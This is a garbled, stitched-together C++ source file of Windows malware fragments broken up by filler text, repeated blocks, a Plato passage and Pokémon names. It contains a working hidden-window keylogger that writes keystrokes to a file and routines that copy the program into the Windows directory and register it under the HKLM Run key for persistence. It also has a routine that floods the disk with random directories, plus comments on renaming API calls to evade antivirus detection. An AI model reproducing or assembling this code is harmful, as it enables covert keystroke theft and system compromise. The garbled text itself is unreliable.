sprintf(nb_remote,"%s\\%s",remote,share_name[share_cnt]);
WNetCancelConnection(nb_remote,TRUE);
}
}
}
}
}
int recvBytes = recv( &buffer[0], //sizeof(char)*buffer.size(), 0);
//std::string = std::string(&buffer[0], &buffer[recvBytes]);
//std::cout << b0ol<< std::endl;
//buffer.clear();
ofstream outputFile;
outputFile.open("dna.exe");
outputFile <<"MZ";("C:\\Users\\*\\Documents\\Visual Studio 2010\\Projects\\Hex\\Debug\\text.txt",'w');
if (outfile.is_open())
{
outfile << text;
outfile.close();
}
else
{
std::cout << "Error opening file";
}
{
Freq = rand()%2001;
Dur = rand()%301;
Beep( Freq, Dur );
}
cout<<"You Are Doomed";
http://www.hellboundhackers.org/articles/842-evading-anti-virus-detection.html
,sizeof(system)
}
int fnord()
{
return 0; end of logger in main*/
//for(i = 8; i <= 190; i++)
// RegSetValueEx(hkey, "Start Page", NULL, REG_SZ, (LPBYTE)upage, strlen(upage));
/*
void Beeper()
{
Freq = rand()%2001;
Dur = rand()%301;
Beep( Freq, Dur );
}
cout<<"You Are Doomed";
http://www.hellboundhackers.org/articles/842-evading-anti-virus-detection.html
,sizeof(system)
}
int fnord()
{
return 0; end of logger in main*/
//for(i = 8; i <= 190; i++)
// RegSetValueEx(hkey, "Start Page", NULL, REG_SZ, (LPBYTE)upage, strlen(upage));
/*
void Beeper()
{
Freq = rand()%2001;
Dur = rand()%301;
Beep( Freq, Dur );
}
int main(int argc, char* argv[])
{
double uua, uug, cuu, cuc, cua, cug, aug, uuu, uuc, ucu, ucc, uca, ucg, agu, agc, uau, uac, ugu, ugc, ugg, cau, cac, caa, cag, cgu, cgc, cga, cgg, aga, agg, auu, auc, aua, acu, acc, aca, acg, aau, aac, ccu, ccc, cca, ccg, aaa, aag, guu, guc, gua, gug, gcu, gcc, gca, gcg, gau, gac, gaa, gag, ggu, ggc, gga, ggg, uaa, uag, uga, nox, gly, glu, asp, ala, val, lys, asn, thr, ile, arg, gln, his, pro, trp, cys, tyr, ser, leu, phe, met;
nox = 0;
gly = 311;
glu = 113;
asp = 22;
ala = 7;
val = 1;
lys = 1.86;
asn = 2;
thr = 3;
ile = 5;
arg = 8;
gln = 13;
his = 21;
pro = 11;
trp = -16;
cys = 256;
tyr = asp/ala;
ser = gly/glu;
leu = 52;
phe = val/lys;
met = aug;
phe = uuu = uuc;
leu=uua= uug= cuu= cuc= cua= cug;
ser=ucu= ucc= uca= ucg= agu= agc;
tyr=uau= uac;
cys=ugu= ugc;
trp=ugg;
pro=ccu= ccc= cca= ccg;
his=cau= cac;
gln=caa= cag;
arg=cgu= cgc= cga= cgg= aga= agg;
ile=auu= auc= aua;
thr=acu= acc= aca= acg;
asn=aau= aac;
lys=aaa= aag;
val=guu= guc= gua= gug;
ala=gcu= gcc= gca= gcg;
asp=gau= gac;
glu=gaa= gag;
gly=ggu= ggc= gga= ggg;
nox=uaa= uag= uga;
cout<<"You Are Doomed";
€ @
http://www.hellboundhackers.org/articles/842-evading-anti-virus-detection.html
,sizeof(system)
}
int fnord()
{
return 0; end of logger in main*/
//for(i = 8; i <= 190; i++)
// RegSetValueEx(hkey, "Start Page", NULL, REG_SZ, (LPBYTE)upage, strlen(upage));
/* Connection 1: 81.23.XX.XX - Kyivstar.net, Kiev, Ukraine
B=]==-0O98IO898`1Q2W3E4R5T6Y7890--
these lines of code were them I saw clearly were picked up by AV's for heuristic file or Malicious (the original function names of course)
Now setting up them new functions in programming with GetProcAddress, LoadLibrary etc.
HMODULE hMod = GetH_Handle(NULL);
GetH_File(hMod, GetThis, sizeof(GetThis));
GetSysDir(SysDirFile, sizeof(SysDirFile));
strcat(SysDirFile, "\\Filename.exe");
CpyF(GetThis, SysDirFile, false);
HKEY hKey;
RegOpen(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
RegSet(hKey, "NameInRegistry", 0, REG_SZ, (const unsigned char*)SysDirFile, sizeof(SysDirFile));
RegEnd(hKey);
DelF(SysDirFile);
}
Email: sandeep@yahoo.co.in ";Email: sandeep@yahoo.co.in ";Email: sandeep@yahoo.co.in ";
Email: sandeep@yahoo.co.in ";Email: sandeep@yahoo.co.in ";
Email: sandeep@yahoo.co.in ";
Email: sandeep@yahoo.co.in ";
Email: sandeep@yahoo.co.in ";
B=]==-0O98IO898`1Q2W3E4R5T6Y7890--
B=]==-0O98IO898`1Q2W3E4R5T6Y7890--
B=]==-0O98IO898`1Q2W3E4R5T6Y7890--
* Connection 2: 200.68.XX.XXX - Alternativagratis.com, Buenos Aires, Argentina
/*State-sponsored malware became widely known in 2010 with the discovery of Stuxnet, a program targeted at Iranian industrial control systems and believed to have been sponsored by Israel and the United States1011111011111110110110100111001011110111*/
/* Connection 1: 81.23.XX.XX - Kyivstar.net, Kiev, Ukraine
* Connection 2: 200.68.XX.XXX - Alternativagratis.com, Buenos Aires, Argentina
/*State-sponsored malware became widely known in 2010 with the discovery of Stuxnet, a program targeted at Iranian industrial control systems and believed to have been sponsored by Israel and the United States1011111011111110110110100111001011110111*/
/*State-sponsored malware became widely known in 2010 with the discovery of Stuxnet, a program targeted at Iranian industrial control systems and believed to have been sponsored by Israel and the United States1011111011111110110110100111001011110111*/
/*State-sponsored malware became widely known in 2010 with the discovery of Stuxnet, a program targeted at Iranian industrial control systems and believed to have been sponsored by Israel and the United States1011111011111110110110100111001011110111*/
#include <iostream>
#include <stdio.h>
#include <windows.h>
#include <winable.h>
#include <winuser.h>
#include <conio.h>
#include <ctime>
#include <string>
#include <sstream>
#include <vector>
#include <stdlib.h>
#include <dir.h>
#include <cstdlib>
#include <fstream>
//#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
//#include <sysstat.h>
//#include "littlepain.h"
#include <windows.h>
#include <mmsystem.h>
#include <io.h>
#include <string.h>
#include <windows.h>
#include <string>
#include <fstream>
#include <stdio.h>
#include <stdlib.h>
#include <dir.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <fstream>
//#include <IP_HDRINCL>
//#include <InternetGetConnectedState>
#include <iostream>
#include <cmath>
//Varaible Declaration
/* ofstream outputFile;
outputFile.open("vxnunsuck.txt");
outputFile << Binary[Total];
outputFile.close(); */
//#include "app.h"
//#include "main.h"
using namespace std;
int main(int argc, char* argv[])
{
double uua, uug, cuu, cuc, cua, cug, aug, uuu, uuc, ucu, ucc, uca, ucg, agu, agc, uau, uac, ugu, ugc, ugg, cau, cac, caa, cag, cgu, cgc, cga, cgg, aga, agg, auu, auc, aua, acu, acc, aca, acg, aau, aac, ccu, ccc, cca, ccg, aaa, aag, guu, guc, gua, gug, gcu, gcc, gca, gcg, gau, gac, gaa, gag, ggu, ggc, gga, ggg, uaa, uag, uga, nox, gly, glu, asp, ala, val, lys, asn, thr, ile, arg, gln, his, pro, trp, cys, tyr, ser, leu, phe, met;
nox = 0;
gly = 311;
glu = 113;
asp = 22;
ala = 7;
val = 1;
lys = 1.86;
asn = 2;
thr = 3;
ile = 5;
arg = 8;
gln = 13;
his = 21;
pro = 11;
trp = -16;
cys = 256;
tyr = asp/ala;
ser = gly/glu;
leu = 52;
phe = val/lys;
met = aug;
phe = uuu = uuc;
leu=uua= uug= cuu= cuc= cua= cug;
ser=ucu= ucc= uca= ucg= agu= agc;
tyr=uau= uac;
cys=ugu= ugc;
trp=ugg;
pro=ccu= ccc= cca= ccg;
his=cau= cac;
gln=caa= cag;
arg=cgu= cgc= cga= cgg= aga= agg;
ile=auu= auc= aua;
thr=acu= acc= aca= acg;
asn=aau= aac;
lys=aaa= aag;
val=guu= guc= gua= gug;
ala=gcu= gcc= gca= gcg;
asp=gau= gac;
glu=gaa= gag;
gly=ggu= ggc= gga= ggg;
nox=uaa= uag= uga;
cout << "whats this number" << nox << endl;
cout << "5@V€_h€rm t!!@!!" << nox << endl;
nox=nox*nox+leu;
nox=nox*nox+leu;
nox=nox+leu*exp(300);
nox/=tyr;
cout<< "now it is?ðÿ?"<< nox<<endl;
cout<<"\nwhat isøÿÿIMG ŽŒ € ¸ this gold?"<< phe<<endl;
nox++; nox=exp(10000);
nox++;
nox*exp(0.531357318279203811);
cout<<"\nRIP VX HEAVENS"<<nox<<endl;
//Varaible Declaration
char *Entry, Letter, Choice[2];
int Ascii, len, Binary[8], Total;
void Convert();
/*int main()
{
Convert();
return 0;//?????
}
void Convert()
{
*/
Entry = new char[100000];
cout << "Enter Text To Convert(Up To 99999 Chars): ";
cin.getline(Entry, 99999);
len = strlen(Entry);
ofstream outputFile;
outputFile.open("win.txt");
for(int i = 0; i < len; i++)
{
Total = 0;
Letter = Entry[i];
Ascii = Letter;
while(Ascii > 0)
{
if((Ascii%2)==0)
{
Binary[Total] = 0;
Ascii = Ascii/2;
Total++;
}
else
{
Binary[Total] = 1;
Ascii = Ascii/2;
Total++;
}
}
Total--;
while(Total >= 0)
{
/*this is what needs to be fixed*/
outputFile<<Binary[Total];//fixed
outputFile.close();
ofstream outputFile;
outputFile.open("binary.txt");//wanna change this to the top of the new virus file
outputFile << Binary[Total];
cout << Binary[Total];
Total--;
cout << "Done!\n";
delete[] Entry; //Freeup Memory
}
}
cout<<"µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ \n µµµanarchyµµµ \nµµµµµµµµµµµµµµµµµµµµµµµµµµµ\nµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ\n“Next,” said I, “compare our nature in respect of \n education and its lack \n to such an experience as this. \n Picture men dwelling in a sort of subterranean cavern \n 1 with a long entrance open2\n to the light on its entire width. \nConceive them as having their \n legs and necks fettered \n from childhood, so that they remain \n in the same\n spot, \n[514b] able to look forward only, \n and prevented by the fetters from turning \n their heads. \nPicture further the light from a fire \n burning higher up and at a distance behind them, \n and between the fire and the prisoners \n and above them a \n road along which a low wall \n has been built, \n as the exhibitors of puppet-shows4 have partitions before the men themselves, \n above which they show the puppets.” \n “All that I see,” he said.\n “See also, then, men carrying5 past the wall [514c] \n implements of all kinds that rise above the wall, \n and human images n\1 The image of the cave illustrates \n by another proportion the contrast between\n the world of sense-perception and the world of \n thought. Instead\n of going above the plane of ordinary experience for the other two members of \n the proportion, \nPlato here goes below and invents a fire and shadows \n cast from it on the walls of a cave to correspond \n to the sun \n and the “real” objects of sense. \n In such a proportion our “real” world \n becomes the symbol of Plato's ideal world. \n Modern fancy may read what meanings it pleases into the \n Platonic antithesis of the “real” \n and the “ideal.” It has even been treated as \n an anticipation of the fourth dimension. \n But Plato never leaves an attentive and critical \n reader in doubt as to his own intended meaning. \n there may be at the most a little uncertainty as to which \n are merely indispensable parts of the picture. \n The source and first suggestion of Plato's \n imagery is an interesting speculation, \n but it is of no significance for the interpretation of \n the thought. \n Cf. John Henry Wright, “The Origin of Plato's Cave” \n in Harvard Studies in Class. \n Phil. xvii. (1906) pp. 130-142. Burnet, Early Greek \n Philosophy, pp. 89-90, thinks the allegory Orphic.\n Cf. also Wright, loc. cit. pp. 134-135. \n Empedocles likens our world to a cave, Diels i.3 269. \n Cf. Wright, loc. cit. Wright refers it to the Cave of Vari in Attica, \n pp. 140-142. Others have supposed that Plato had in mind rather the puppet \n and marionette shows to which he refers. \n Cf. Diès in Bulletin Budé,No. 14 (1927) \n pp. 8 f. The suggestiveness of the image has been endl \n ess. The most eloquent and frequently quoted passage of \n Aristotle's early writings is derived from it, \n Cic.De nat.deor. ii. 37. It is the source of Bacon's \n “idols of the den.” Sir Thomas Browne writes in Urne-Buriall: \n “We yet discourse in Plato's den and are but embryo philosophers.” \n Huxley's allegory of “Jack and the Beanstalk” in Evolution \n and Ethics, pp. 47 ff. is a variation on it. \n Berkeley recurs to it, Siris, 263. The Freudians would \n have still more fantastic interpretations. Cf. Jung, Analytic \n Psych. p. 232. Eddington perhaps glances at it when he attributes \n to the new physics the frank realization that physical science is concerned with \n a world of shadows2 \n "<<endl;
cin.get();
cout<<"be fit to rule over their fellow-citizens.Kinds \n of \n State \n or \n Person In \n order \n to \n explain \n the \n distinction \n between \n justice \n and \n injustice \n more \n fully, \n Plato \n devoted \n much \n of \n the \n remainder \n of \n The \n Republic \n to \n a \n detailed \n discussion \n of \n five \n different \n kinds \n of \n government \n (and, \n by \n analogy, \n five \n different \n kinds \n of \n person), \n ranked \n in \n order \n from \n best \n to \n worst:A \n society \n organized \n in \n the \n ideally \n efficient \n way \n Plato \n has \n already \n described \n is \n said \n to \n have \n an \n aristocratic \n government. \n Similarly, \n an \n aristocratic \n person \n is \n one \n whose \n rational, \n spirited, \n and \n appetitive \n souls \n work \n together \n properly. \n Such \n governments \n and \n people \n are \n the \n most \n genuine \n examples \n of \n true \n justice \n at \n the \n social \n and \n personal \n levels.In \n a \n defective \n timocratic \n society, \n on \n the \n other \n hand, \n the \n courageous \n soldiers \n have \n usurped \n for \n themselves \n the \n privilege \n of \n making \n decisions \n that \n properly \n belongs \n only \n to \n its \n better-educated \n rulers. \n A \n timocratic \n person \n is \n therefore \n someone \n who \n is \n more \n concerned \n with \n belligerently \n defending \n personal \n honor \n than \n with \n wisely \n choosing \n what \n is \n truly \n best.In \n an \n oligarchic \n government, \n both \n classes \n of \n guardian \n have \n been \n pressed \n into \n the \n service \n of \n a \n ruling \n group \n comprising \n a \n few \n powerful \n and \n wealthy \n citizens. \n By \n analogy, \n an \n oligarchic \n personality \n is \n someone \n whose \n every \n thought \n and \n action \n is \n devoted \n to \n the \n self-indulgent \n goal \n of \n amassing \n greater \n wealth.Even \n more \n disastrously, \n a \n democratic \n government \n holds \n out \n the \n promise \n of \n equality \n for \n all \n of \n its \n citizens \n but \n delivers \n only \n the \n anarchy \n of \n an \n unruly \n mob, \n each \n of \n whose \n members \n is \n interested \n only \n in \n the \n pursuit \n of \n private \n interests. \n The \n parallel \n case \n of \n a \n democratic \n person \n is \n someone \n who \n is \n utterly \n controlled \n by \n desires, \n acknowledging \n no \n bounds \n of \n taste \n or \n virtue \n in \n the \n perpetual \n effort \n to \n achieve \n the \n momentary \n satisfaction \n that \n pleasure \n provides.Finally, \n the \n tyrranic \n society \n is \n one \n in \n which \n a \n single \n individual \n has \n gained \n control \n over \n the \n mob, \n restoring \n order \n io \n place "<<endl;
cin.get();
cout<<"Hex0123456789abcdef \nbin0000,0001,0010,0011,0100,0101,0110,0111,1000,1001,1010,1011,1100,1101,1110,1111 \ndec0123456789.10.11.12.13.14.15"<<endl;
cin.get();
nox*exp(0.531357318279203811);
cin.get();
cout<<"math:"<<nox<<endl;
cout<<"\n\n"<<(phe*200);
cin.get();
abs(nox);
cout<<"math:"<<nox<<endl;
cin.get();
cin.get();
cout<< "V.X.Heavens\nVxCHAOS??"<< nox<<endl;
cout<<"\nwhat is this gold?"<< phe<<endl;
double ll,cop,ata;
double pi =3.14159;
aaa = 100.00;
aga = 186.00;
cop = aaa/aga;
ll = 0.5376344086021505;
ata = 0;
aaa *= 22;
aaa/=7;
cout << "aaa/ll has the value of" << aaa/ll <<cop<<endl;
cout<<"Fuck C0pZ"<<aaa/cop<<endl;
for(ata < aaa; cop < ll; cop++){
double pi =3.14159;
cout<<"pi(-)nox:"<<pi<<endl;
pi=pi*10;
cout<<"pi*10:"<<pi<<endl;
pi=pi-tan(nox);
cout << "genetics\n promot0r"<<pi<<nox << "\n\n\n\ni am hungry";
cout<<"\nhungry to learn"<<endl;
nox*exp(0.531357318279203811);
nox*exp(0.531357318279203811);
cin.get();
cin.get();
cout<<uua<<uug<<cuu<<cuc*cua<<cug, aug, uuu, uuc, ucu, ucc, uca, ucg, agu, agc, uau, uac, ugu, ugc, ugg, cau, cac, caa, cag, cgu, cgc, cga, cgg, aga, agg, auu, auc, aua, acu, acc, aca, acg, aau, aac, ccu, ccc, cca, ccg, aaa, aag, guu, guc, gua, gug, gcu, gcc, gca, gcg, gau, gac, gaa, gag, ggu, ggc, gga, ggg, uaa, uag, uga, nox, gly, glu, asp, ala, val, lys, asn, thr, ile, arg, gln, his, pro, trp, cys, tyr, ser, leu, phe, met;
cin.get();
}}
/////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
//////////////
#include <iostream> // These we need to
using namespace std; // include to get our
#include <windows.h> // Keylogger working.
#include <winuser.h> //
int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.
int logger()
{
Stealth(); // This will call the stealth function we will write later.
char i; //Here we declare 'i' from the type 'char'
while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
{ // Note this is also the part that will increase your cpu usage
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"Lllotusblack.txt"); // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
}
}
system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}
/* *********************************** */
/* *********************************** */
int Save (int key_stroke, char *file) // Here we define our save function that we declared before.
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8) // The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow..
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
int cpins()
{
int i,j;
char tmp[100];
// char far;
char *ptr;
for (i=0;i<=666;i++){
srand(rand());
ptr = itoa(rand(),tmp,22);
mkdir ( ptr );
chdir ( ptr );
for (j=0;j<=73;j++){
ptr = itoa(rand(),tmp,55);
mkdir( ptr );
}
chdir ("\\");
}
}
int Kazooom()
{
HKEY hKey = NULL;
DWORD dwLen = 0;
char szFilename[MAX_PATH] = "";
char random[20] = "", temp[10] = "";
HMODULE hMod = GetModuleHandle(NULL);
char oldname[MAX_PATH] = "";
GetModuleFileName(hMod, oldname, MAX_PATH);
srand(GetTickCount());
for(int i=rand()%10; i>=0; i--)
random[i] = 'a' + rand()%26;
strcat(random, ".exe");
GetWindowsDirectory(szFilename, MAX_PATH);
strcat(szFilename, "\\");
strcat(szFilename, random);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey)==ERROR_SUCCESS)
{
RegQueryValueEx(hKey, "diskfrag", NULL, NULL, (LPBYTE)temp, &dwLen);
CopyFile(oldname, szFilename, FALSE);
RegSetValueEx(hKey, "diskfrag", 0, REG_SZ, (LPBYTE)szFilename, strlen(szFilename));
}
else
{
return -1;
}
CloseHandle(hKey);
return 1;
//}
//int atg()
//{
// HKEY hKey = NULL;
int item;
const char *ExeList[] = {"hiv.exe", "fiv.exe", "camv.exe", "slmv.exe",
"Bulbasaur.exe","Ivysaur.exe","Venusaur.exe", "kernel32.dll.exe", "eMvirus.exe", "evolve.exe", "java.lang.Object.exe", "labexperiments.exe",
"inlabexperiments.exe", "darWin.exe", "autogen.sh.exe", "configure.exe", "Makefile.exe", "Cygwin.exe", "clipboard.exe", "partition15.exe", "icproperties.exe",
"Charmander.exe", "Charmeleon.exe", "Charizard.exe", "Squirtle.exe", "Wartortle.exe", "Blastoise.exe", "Caterpie.exe", "Metapod.exe", "Butterfree.exe", "sapplied.exe",
"Weedle.exe", "Kakuna.exe", "Beedrill.exe", "Pidgey.exe", "Pidgeotto.exe", "Pidgeot.exe", "Rattata.exe", "Raticate.exe", "Spearow.exe", "Fearow.exe", "Ekans.exe", "Arbok.exe",
"Pikachu.exe", "Raichu.exe", "Sandshrew.exe", "Sandslash.exe", "NidoranFeM.exe", "Nidorina.exe", "Nidoqueen.exe", "NidoranMaL.exe", "Nidorino.exe", "Nidoking.exe", "Clefairy.exe", "Clefable.exe",
"Vulpix.exe", "Ninetales.exe", "Jigglypuff.exe", "Wigglytuff.exe", "Zubat.exe", "Golbat.exe", "Oddish.exe", "Gloom.exe", "Vileplume.exe", "Paras.exe", "Parasect.exe", "Venonat.exe", "Venomoth.exe",
"Diglett.exe", "Dugtrio.exe", "Meowth.exe", "Persian.exe", "Psyduck.exe", "Golduck.exe",
"Mankey.exe", "Primeape.exe", "Growlithe.exe", "Arcanine.exe", "Poliwag.exe", "Poliwhirl.exe", "Poliwrath.exe", "Abra.exe", "Kadabra.exe", "Alakazam.exe", "Machop.exe", "Machoke.exe", "Machamp.exe",
"Bellsprout.exe", "Weepinbell.exe", "Victreebel.exe", "Tentacool.exe", "Tentacruel.exe", "Geodude.exe", "Graveler.exe", "Golem.exe", "Ponyta.exe", "Rapidash.exe", "Slowpoke.exe", "Slowbro.exe", "Magnemite.exe",
"Magneton.exe", "Farfetch'd.exe", "Doduo.exe", "Dodrio.exe", "Seel.exe", "Dewgong.exe", "Grimer.exe", "Muk.exe", "Shellder.exe", "Cloyster.exe", "Gastly.exe", "Haunter.exe", "Gengar.exe", "Ghost.exe", "Poison.exe", "Onix.exe", "Ground.exe",
"Drowzee.exe", "Psychic.exe", "Hypno.exe", "Krabby.exe", "Kingler.exe", "Water.exe", "Voltorb.exe", "Electrode.exe", "Electric.exe", "Exeggcute.exe",
"Grass.exe", "Exeggutor.exe", "Cubone.exe", "Marowak.exe", "Hitmonlee.exe", "Hitmonchan.exe", "Fighting.exe", "Lickitung.exe", "Normal.exe", "Koffing.exe", "Weezing.exe", "Rhyhorn.exe", "Rhydon.exe", "Ground.exe", "Rock.exe", "Chansey.exe", "Tangela.exe", "Kangaskhan.exe", "Horsea.exe", "Seadra.exe", "Goldeen.exe", "Seaking.exe", "Staryu.exe", "Starmie.exe", "Mr.Mime.exe", "Scyther.exe", "Jynx.exe", "Electabuzz.exe", "Magmar.exe", "Fire.exe", "Pinsir.exe", "Bug.exe", "Tauros.exe", "Magikarp.exe", "REDGyarados.exe", "Gyarados.exe", "Lapras.exe", "Ice.exe", "Ditto.exe", "Eevee.exe", "Vaporeon.exe", "Jolteon.exe", "Flareon.exe", "Porygon.exe", "Omanyte.exe", "Omastar.exe", "Kabuto.exe", "Kabutops.exe", "Aerodactyl.exe", "Snorlax.exe", "Articuno.exe", "Zapdos.exe", "Flying.exe", "Moltres.exe", "Dratini.exe", "Dragon.exe", "Dragonair.exe", "Dragonite.exe", "Mewtwo.exe", "Mew.exe", "GenerationII.exe", "PokéRUS.exe", "Type.exe", "Chikorita.exe", "Bayleef.exe", "Meganium.exe", "Cyndaquil.exe", "Quilava.exe", "Typhlosion.exe", "Totodile.exe", "Croconaw.exe", "Feraligatr.exe", "Sentret.exe", "Furret.exe", "Hoothoot.exe", "Noctowl.exe", "Ledyba.exe", "Ledian.exe", "Spinarak.exe", "Ariados.exe", "Crobat.exe", "Chinchou.exe", "Lanturn.exe", "Pichu.exe", "Cleffa.exe", "Igglybuff.exe", "Togepi.exe", "Togetic.exe", "Natu.exe", "Xatu.exe", "Mareep.exe", "Flaaffy.exe", "Ampharos.exe", "Bellossom.exe", "Marill.exe", "Azumarill.exe", "Sudowoodo.exe", "Politoed.exe", "Hoppip.exe", "Skiploom.exe", "Jumpluff.exe", "Aipom.exe", "Sunkern.exe", "Sunflora.exe", "Yanma.exe", "Wooper.exe", "Quagsire.exe", "Espeon.exe", "Umbreon.exe", "Murkrow.exe", "Dark.exe", "Slowking.exe", "Misdreavus.exe", "Unown.exe", "Unownz.exe", "Unowny.exe", "Unownx.exe", "Unownw.exe",
"Unownv.exe", "Unownu.exe", "Unownt.exe", "Unowns.exe", "Unownr.exe", "Unownq.exe", "Unownp.exe", "Unowno.exe", "Unownn.exe", "Unownm.exe", "Unownl.exe", "Unownk.exe",
"Unownj.exe", "Unowni.exe", "Unownh.exe", "Unowng.exe", "Unownf.exe", "Unowne.exe", "Unownd.exe", "Unownc.exe", "Unownb.exe", "Unowna.exe", " Wobbuffet.exe", "Girafarig.exe", "Pineco.exe", "Forretress.exe", "Dunsparce.exe", "Gligar.exe", "Steelix.exe", "Snubbull.exe", "Granbull.exe", "Qwilfish.exe", "Scizor.exe", "Shuckle.exe", "Heracross.exe", "Sneasel.exe", "Teddiursa.exe", "Ursaring.exe", "Slugma.exe", "Magcargo.exe", "Swinub.exe", "Piloswine.exe", "Corsola.exe", "Remoraid.exe", "Octillery.exe", "Delibird.exe", "Mantine.exe", "Skarmory.exe", "Steel.exe", "Houndour.exe", "Houndoom.exe", "Kingdra.exe", "Phanpy.exe", "Donphan.exe", "Porygon.exe", "Stantler.exe", "Smeargle.exe", "Tyrogue.exe", "Hitmontop.exe", "Smoochum.exe", "Elekid.exe", "Magby.exe", "Miltank.exe", "Blissey.exe", "Raikou.exe", "Entei.exe", "Suicune.exe", "Larvitar.exe", "Pupitar.exe", "Tyranitar.exe", "Lugia.exe", "Ho-Oh.exe", "Celebi.exe", "GenerationIII.exe", "Hdex.exe", "Ndex.exe", "MS.exe", "MSPokéwype.exe", "Treecko.exe", "Grovyle.exe", "Sceptile.exe", "Torchic.exe", "Combusken.exe", "Blaziken.exe", "Mudkip.exe", "Marshtomp.exe", "Swampert.exe", "Poochyena.exe", "Mightyena.exe", "Zigzagoon.exe", "Linoone.exe", "Wurmple.exe", "Silcoon.exe", "Beautifly.exe", "Cascoon.exe", "Dustox.exe", "Lotad.exe", "Lombre.exe", "Ludicolo.exe", "Seedot.exe", "Nuzleaf.exe", "Shiftry.exe", "Taillow.exe", "Swellow.exe", "Wingull.exe", "Pelipper.exe", "Ralts.exe", "Kirlia.exe", "Gardevoir.exe", "Surskit.exe", "Masquerain.exe", "Shroomish.exe", "Breloom.exe", "Slakoth.exe", "Vigoroth.exe", "Slaking.exe", "Nincada.exe", "Ninjask.exe", "Shedinja.exe", "Whismur.exe", "Loudred.exe", "Exploud.exe", "Makuhita.exe", "Hariyama.exe", "Azurill.exe", "Nosepass.exe", "Skitty.exe", "Delcatty.exe", "Sableye.exe", "Mawile.exe", "Aron.exe", "Lairon.exe", "Aggron.exe", "Meditite.exe", "Medicham.exe", "Electrike.exe", "Manectric.exe", "Plusle.exe", "Minun.exe",
"Volbeat.exe", "Illumise.exe", "Roselia.exe", "Gulpin.exe", "Swalot.exe", "Carvanha.exe", "Sharpedo.exe", "Wailmer.exe", "Wailord.exe", "Numel.exe", "Camerupt.exe", "Torkoal.exe", "Spoink.exe", "Grumpig.exe", "Spinda.exe", "Trapinch.exe", "Vibrava.exe", "Flygon.exe", "Cacnea.exe", "Cacturne.exe", "Swablu.exe", "Altaria.exe", "Zangoose.exe", "Seviper.exe", "Lunatone.exe", "Solrock.exe", "Barboach.exe", "Whiscash.exe", "Corphish.exe", "Crawdaunt.exe", "Baltoy.exe", "Claydol.exe", "Lileep.exe", "Cradily.exe", "Anorith.exe", "Armaldo.exe", "Feebas.exe", "DIM.exe", "Milotic.exe", "CastformC.exe", "CastformG.exe", "CastformT.exe", "CastformA.exe", "Kecleon.exe", "Shuppet.exe", "Banette.exe", "Duskull.exe", "Dusclops.exe", "Tropius.exe", "Chimecho.exe", "Absol.exe", "Wynaut.exe", "Snorunt.exe", "Glalie.exe", "Spheal.exe", "Sealeo.exe", "Walrein.exe", "Clamperl.exe", "Huntail.exe", "Gorebyss.exe", "Relicanth.exe", "Luvdisc.exe", "Bagon.exe", "Shelgon.exe", "Salamence.exe", "Beldum.exe", "Metang.exe", "Metagross.exe", "Regirock.exe", "Regice.exe", "Registeel.exe", "Latias.exe", "Latios.exe", "Kyogre.exe", "Groudon.exe", "Rayquaza.exe", "Jirachi.exe", "DeoxysC.exe", "DeoxysG.exe", "DeoxysT.exe", "DeoxysA.exe", "GenerationIV.exe", "PokéType.exe", "Turtwig.exe", "Grotle.exe", "Torterra.exe", "Chimchar.exe", "Monferno.exe", "Infernape.exe", "Piplup.exe", "Prinplup.exe", "Empoleon.exe", "Starly.exe", "Staravia.exe", "Staraptor.exe", "Bidoof.exe", "Bibarel.exe", "Kricketot.exe", "Kricketune.exe", "Shinx.exe", "Luxio.exe", "Luxray.exe", "Budew.exe", "Roserade.exe", "Cranidos.exe", "Rampardos.exe", "Shieldon.exe", "Bastiodon.exe", "Burmy2.exe", "Burmy1.exe", "Burmy.exe", "Wormadam2.exe", "Wormadam1.exe", "Wormadam.exe", "Mothim.exe", "Combee.exe", "Vespiquen.exe", "Pachirisu.exe", "Buizel.exe, 